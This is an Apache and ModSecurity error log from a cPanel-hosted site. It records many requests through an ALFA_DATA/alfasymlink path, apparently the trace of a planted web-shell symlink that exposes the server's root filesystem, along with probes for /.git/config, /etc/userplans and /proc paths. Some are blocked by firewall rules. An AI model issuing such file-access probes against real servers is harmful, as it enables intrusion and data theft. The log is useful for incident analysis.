[Sat Oct 24 16:30:25.376750 2026] [security2:error] [pid 2692918:tid 2692918] [client 172.68.151.145:11149] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0VYbUNAjBk2uOT2T-EjAAAAAo"]
[Sat Oct 24 16:30:30.687123 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.193.2.57:44796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:37.432731 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.5:42286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/hwcache_align
[Sat Oct 24 16:30:38.550386 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 85.208.96.207:36014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:42.750869 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 44.208.193.63:55298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:46.749313 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.209.100.30:20028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:54.778922 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.206.249.188:45877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:58.773487 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.83.226.125:23114] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:02.819353 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 44.193.102.198:57383] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/vmd/new_id
[Sat Oct 24 16:31:10.907455 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.222.190.107:2591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:14.824577 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:25058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:20.934361 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.213.102.186:1351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:22.882657 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.215.77.19:27932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:34.844966 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 23.23.212.212:12492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/subsystem/event1/subsystem/input1/device/driver/serio0/firmware_node/physical_node1/drvctl
[Sat Oct 24 16:31:38.792299 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.84.169.196:43059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:42.701080 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.137.202:34650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:46.774256 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.163.169.168:7555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:50.639231 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 3.211.105.134:28153] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/subsystem/drivers/button/bind
[Sat Oct 24 16:31:54.865189 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.159.98.248:22778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:31:54.865385 2026] [security2:error] [pid 2693017:tid 2693017] [client 54.159.98.248:22778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/power_state"] [unique_id "at0VuivtCA9Mk3h2rl2jxgAAABM"]
[Sat Oct 24 16:31:54.865415 2026] [security2:error] [pid 2693017:tid 2693017] [client 54.159.98.248:22778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/power_state"] [unique_id "at0VuivtCA9Mk3h2rl2jxgAAABM"]
[Sat Oct 24 16:31:58.779308 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.212.205.90:62311] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:07.062883 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.232.11.247:1189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:10.905990 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.4.213:34180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:14.728017 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.205.91.101:12106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:15.033828 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 185.191.171.5:26492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:18.838572 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.91.122.193:27088] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:26.741243 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.83.56.1:41569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:30.777214 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.196.118.6:52112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:34.674257 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.210.155.69:20576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:38.782178 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.147.182.90:39309] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:32:50.634369 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.211.148.239:1343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:03.085045 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 52.54.157.23:18042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:06.797546 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.90.73.206:56756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:15.175334 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.3.127.170:26529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:18.933627 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.208.223.68:10887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:30.834536 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.93.98.99:36860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:34.928199 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.191.179:41662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:38.861474 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 98.84.60.17:53163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:42.797829 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.218.103.254:33443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:50.934571 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.196.118.6:57071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:54.880463 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.207.47.227:3697] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:33:58.216888 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.212:42738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/store_user
[Sat Oct 24 16:33:58.869738 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.23.62.75:25099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:02.840931 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 18.205.127.11:36462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:06.788018 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.223.134.5:52085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:14.670604 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.218.6.93:63273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:22.637491 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.4.229.9:24717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:26.546905 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.216.227.216:10839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:26.581284 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.210:52958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/tmp.T1J770x0G4
[Sat Oct 24 16:34:34.495477 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.94.157.25:14888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:46.571693 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.210.58.238:38347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:54.383514 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.213.240.226:24491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:34:58.470014 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.193.2.57:2501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource1
[Sat Oct 24 16:35:14.317086 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.210.114.189:13239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/uevent
[Sat Oct 24 16:35:22.183837 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.204.150.196:61266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:35:30.327778 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.3.155.146:10587] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:35:38.187078 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.234.200.207:24974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:35:42.456860 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.217.82.254:55071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:35:46.248660 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.211.105.134:32657] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:35:50.356532 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.235.191.179:16237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:02.390303 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.233.219.155:9769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:06.186747 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 50.17.193.48:64184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:10.631201 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.209.201.119:29929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:18.289016 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.3.127.170:15572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:22.421394 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 54.144.185.255:36991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/new_id
[Sat Oct 24 16:36:26.290439 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.221.37.41:14239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:34.231552 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.94.199.128:27304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:36:58.213402 2026] [security2:error] [pid 2692918:tid 2692918] [client 54.163.169.168:15946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/module/pcspkr/drivers/platform:pcspkr/pcspkr/input/input5/subsystem/event1/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at0W6rUNAjBk2uOT2T-EmgAAAAo"]
[Sat Oct 24 16:36:58.213467 2026] [security2:error] [pid 2692918:tid 2692918] [client 54.163.169.168:15946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/module/pcspkr/drivers/platform:pcspkr/pcspkr/input/input5/subsystem/event1/subsystem/input1/device/firmware_node/physical_node/"] [unique_id "at0W6rUNAjBk2uOT2T-EmgAAAAo"]
[Sat Oct 24 16:37:14.275578 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 50.16.72.185:56070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:37:30.272751 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.200.54.136:19842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:37:46.292454 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.209.187.99:26622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:37:54.173247 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.211.105.134:53307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:37:57.249703 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.210:23352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/red_zone
[Sat Oct 24 16:38:02.330187 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.203.152.231:32921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/subsystem/drivers_probe
[Sat Oct 24 16:38:06.237906 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.198.33.233:63890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:38:10.163341 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 52.5.232.250:9851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:38:27.156691 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.14:14158] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/spanish/errmsg.sys"] [unique_id "at0XQ2ZJIyiQiKFtr2-6iQAAABU"]
[Sat Oct 24 16:38:27.157115 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.14:14158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/spanish/errmsg.sys"] [unique_id "at0XQ2ZJIyiQiKFtr2-6iQAAABU"]
[Sat Oct 24 16:38:27.157535 2026] [security2:error] [pid 2677776:tid 2677776] [client 185.191.171.14:14158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/spanish/errmsg.sys"] [unique_id "at0XQ2ZJIyiQiKFtr2-6iQAAABU"]
[Sat Oct 24 16:38:34.213035 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.21.175.228:43466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:38:42.328006 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.204.81.148:26762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory7/subsystem/uevent
[Sat Oct 24 16:38:50.180646 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 54.221.203.24:51264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:39:16.895098 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 185.191.171.8:60172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:39:20.325206 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 144.76.19.24:48604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/auxv
[Sat Oct 24 16:39:26.361459 2026] [security2:error] [pid 2693035:tid 2693035] [client 44.206.93.215:21615] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/slots/25/"] [unique_id "at0Xft3lMH_Ldre-PZtrgQAAACk"]
[Sat Oct 24 16:39:26.361495 2026] [security2:error] [pid 2693035:tid 2693035] [client 44.206.93.215:21615] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/slots/25/"] [unique_id "at0Xft3lMH_Ldre-PZtrgQAAACk"]
[Sat Oct 24 16:39:37.351057 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.1:40658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/rescan
[Sat Oct 24 16:39:46.300792 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.4.76.156:11526] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:39:50.244257 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 18.215.24.66:57725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:39:58.302548 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.29.164.178:31829] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:02.199235 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.83.94.113:8668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:10.488572 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.77.169:39208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:22.159008 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.208.156.9:28010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:30.758853 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.91.122.193:61087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:34.327307 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.21.62.139:45504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:46.255680 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.235.81.246:55489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:50.245469 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.204.152.114:65246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:40:54.292247 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.145.82.217:24346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:06.494545 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.233.219.155:32856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:10.281628 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.25.120.246:42093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:14.143088 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 50.19.221.48:30405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:18.253159 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.204.150.196:13806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:22.417649 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 23.23.103.31:2456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:26.176430 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 52.70.209.13:9631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:27.810191 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 16.216.88.175:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userplans
[Sat Oct 24 16:41:38.309017 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.71.216.196:8488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/vmd/module/uevent
[Sat Oct 24 16:41:42.188239 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.21.148.226:43383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:54.170366 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.209.100.30:58022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:56.658160 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 85.208.96.199:38918] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:41:58.247237 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 18.214.238.178:36856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/irq
[Sat Oct 24 16:42:02.400447 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.207.207.36:41880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/ac/unbind
[Sat Oct 24 16:42:06.155393 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 18.208.11.93:33458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:42:10.257106 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.92.83:23310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:42:14.273915 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 18.215.49.176:29450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/uevent
[Sat Oct 24 16:42:18.351798 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.202.88.37:30344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:42:21.159254 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.198:44298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/min_partial
[Sat Oct 24 16:42:26.408679 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.210.114.189:63731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:42:36.805409 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.195:32488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/object_size
[Sat Oct 24 16:42:50.143876 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 35.174.253.85:17357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:02.172332 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.205.222.214:15668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:03.862367 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.17:21328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:06.240296 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.230.69.161:9346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:11.449535 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.181.240:65132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:43:26.225537 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 54.204.12.115:3766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:17/eject
